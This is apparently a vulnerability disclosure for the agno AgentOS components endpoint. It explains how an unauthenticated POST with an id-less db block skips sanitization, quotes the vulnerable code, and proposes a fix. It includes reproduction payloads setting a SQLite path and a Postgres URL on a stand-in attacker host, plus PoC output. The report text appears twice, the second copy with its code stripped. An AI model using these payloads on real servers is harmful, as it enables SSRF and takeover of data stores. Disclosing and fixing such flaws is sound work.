Summary
AgentOS component configs may carry a db block. _resolve_db_in_config() is meant to stop a
caller from pointing a component's database at a different backend — connection-defining fields
(type, db_url, db_file, db_schema, …) are supposed to always come from a resolved,
registered db, and only whitelisted table-name keys may come from the caller. But the sanitization
is guarded by if component_db_id is not None: — so a db block that simply omits id (or uses
an unresolvable id) skips sanitization entirely and is stored/used verbatim. A caller can thus set
db_url/db_file to an attacker-controlled location. On resolve/run the server builds a live DB
there: blind SSRF to an arbitrary Postgres host:port, arbitrary server-side directory creation
(mkdir(parents=True)) and SQLite file creation, and full control of the component's backing store
(which chains to server-side file read via persisted media filepath). Reachable unauthenticated
in the default deployment (no OS_SECURITY_KEY), or with components:write when authorization is on.
Affected code (main @ 07fe6b23, v2.6.20)
libs/agno/agno/os/routers/components/components.py — _resolve_db_in_config():
component_db = config.get("db")
if component_db is not None and isinstance(component_db, dict):
component_db_id = component_db.get("id")
if component_db_id is not None: # <-- no-id blocks skip everything below
...resolve id -> resolved_db...
if resolved_db is not None:
resolved_dict = resolved_db.to_dict()
table_overrides = {k: component_db[k] for k in DB_TABLE_NAME_KEYS if k in component_db}
config["db"] = {**resolved_dict, **table_overrides} # connection fields forced from resolved db
else:
log_error(...) # unresolvable id: left as-is
# component_db without id: falls through untouched -> attacker db block kept verbatim
Sinks reached from the stored config: os/utils.py + agent/agent.py DB-fallback load →
resolve_db_from_config (agent/_storage.py, team/_storage.py, workflow/workflow.py) →
db/utils.py db_from_dict → db/sqlite/sqlite.py (mkdir(parents=True)) /
db/postgres/postgres.py (engine built from attacker db_url).
Root cause
The control assumes a db block always references a registered db by id. When id is absent (or
unresolvable), the guard skips sanitization and the caller-supplied connection-defining fields survive,
defeating the exact protection added in #7508 ("so the caller can't redirect a referenced db to a
different backend").
Preconditions / attacker model
- Default
AgentOS (no OS_SECURITY_KEY) → POST /components is unauthenticated. With authorization
enabled, components:write.
- Affects agents, teams, and workflows (all load via
resolve_db_from_config).
Impact — HIGH
- Blind SSRF: server opens a Postgres connection to an attacker
host:port (db_url).
- Arbitrary server-side directory creation (
mkdir -p) and SQLite file creation at an attacker path.
- Component/agent backing-store takeover → the agent reads/writes an attacker-controlled DB, which
chains to server-side arbitrary file read via persisted media filepath.
Reproduction (mechanism)
POST /components (default AgentOS, no auth) with a component config whose db block omits id:
{"db": {"type": "sqlite", "db_file": "/tmp/ATTACKER/x/y/evil.db"}} (or
{"type":"postgres","db_url":"postgresql+psycopg://pwn@attacker:5432/exfil"}). On GET/run resolution
the server builds the DB at that location. Local, network-free PoC (temp dirs, fake hosts) confirms:
POST /components -> 201 (unauthenticated, default AgentOS)
stored config db block: {'type':'sqlite','db_file':'.../HTTP_PWNED/x/y/http_evil.db'}
server created attacker directory tree while resolving the HTTP-stored agent
server-built Postgres engine points at attacker host:port
Full local PoC + a regression test available on request.
Expected vs actual
- Actual: a caller-supplied
db block without a resolvable id is trusted for connection-defining fields.
- Expected: connection fields must always come from a resolved, registered db; an unresolved/
id-less
db block must not be used to build a live backend.
Suggested fix
Treat an unresolved db block the same as a resolved one — never trust caller connection fields:
component_db = config.get("db")
if component_db is not None and isinstance(component_db, dict):
component_db_id = component_db.get("id")
resolved_db = None
if component_db_id is not None:
if component_db_id == os_db.id:
resolved_db = os_db
elif registry is not None:
resolved_db = registry.get_db(component_db_id)
# Connection-defining fields ALWAYS come from a resolved db (fall back to os_db);
# only whitelisted table-name keys are taken from the caller.
base = (resolved_db or os_db).to_dict()
table_overrides = {k: component_db[k] for k in DB_TABLE_NAME_KEYS if k in component_db}
config["db"] = {**base, **table_overrides}
if component_db_id is not None and resolved_db is None:
log_error(f"Could not resolve db with id: {component_db_id}; using OS db")
elif component_db is None and "db" in config:
config.pop("db", None)
return config
(Alternatively reject with 400 at the HTTP layer when a db block carries connection-defining fields
without a resolvable id.)
Duplicate / publicness check (GitHub API, this session)
The control lives in #7508 (merged). No issue/PR/GHSA describes the id-omission bypass. Distinct from
the ClickHouse vectordb SQLi (#7866) and the components RBAC leak (#8641).
Environment tested
- agno 2.6.20, main @ 07fe6b2, Python 3.12. Local-only reproduction; fake hosts/paths only.
Summary
AgentOScomponent configs may carry adbblock._resolve_db_in_config()is meant to stop acaller from pointing a component's database at a different backend — connection-defining fields
(
type,db_url,db_file,db_schema, …) are supposed to always come from a resolved,registered db, and only whitelisted table-name keys may come from the caller. But the sanitization
is guarded by
if component_db_id is not None:— so adbblock that simply omitsid(or usesan unresolvable id) skips sanitization entirely and is stored/used verbatim. A caller can thus set
db_url/db_fileto an attacker-controlled location. On resolve/run the server builds a live DBthere: blind SSRF to an arbitrary Postgres
host:port, arbitrary server-side directory creation(
mkdir(parents=True)) and SQLite file creation, and full control of the component's backing store(which chains to server-side file read via persisted media
filepath). Reachable unauthenticatedin the default deployment (no
OS_SECURITY_KEY), or withcomponents:writewhen authorization is on.Affected code (
main@07fe6b23, v2.6.20)libs/agno/agno/os/routers/components/components.py—_resolve_db_in_config():Sinks reached from the stored config:
os/utils.py+agent/agent.pyDB-fallback load →resolve_db_from_config(agent/_storage.py,team/_storage.py,workflow/workflow.py) →db/utils.py db_from_dict→db/sqlite/sqlite.py(mkdir(parents=True)) /db/postgres/postgres.py(engine built from attackerdb_url).Root cause
The control assumes a
dbblock always references a registered db byid. Whenidis absent (orunresolvable), the guard skips sanitization and the caller-supplied connection-defining fields survive,
defeating the exact protection added in #7508 ("so the caller can't redirect a referenced db to a
different backend").
Preconditions / attacker model
AgentOS(noOS_SECURITY_KEY) →POST /componentsis unauthenticated. With authorizationenabled,
components:write.resolve_db_from_config).Impact — HIGH
host:port(db_url).mkdir -p) and SQLite file creation at an attacker path.chains to server-side arbitrary file read via persisted media
filepath.Reproduction (mechanism)
POST /components(default AgentOS, no auth) with a component config whosedbblock omitsid:{"db": {"type": "sqlite", "db_file": "/tmp/ATTACKER/x/y/evil.db"}}(or{"type":"postgres","db_url":"postgresql+psycopg://pwn@attacker:5432/exfil"}). OnGET/run resolutionthe server builds the DB at that location. Local, network-free PoC (temp dirs, fake hosts) confirms:
Full local PoC + a regression test available on request.
Expected vs actual
dbblock without a resolvableidis trusted for connection-defining fields.id-lessdbblock must not be used to build a live backend.Suggested fix
Treat an unresolved
dbblock the same as a resolved one — never trust caller connection fields:(Alternatively reject with 400 at the HTTP layer when a
dbblock carries connection-defining fieldswithout a resolvable
id.)Duplicate / publicness check (GitHub API, this session)
The control lives in #7508 (merged). No issue/PR/GHSA describes the
id-omission bypass. Distinct fromthe ClickHouse vectordb SQLi (#7866) and the components RBAC leak (#8641).
Environment tested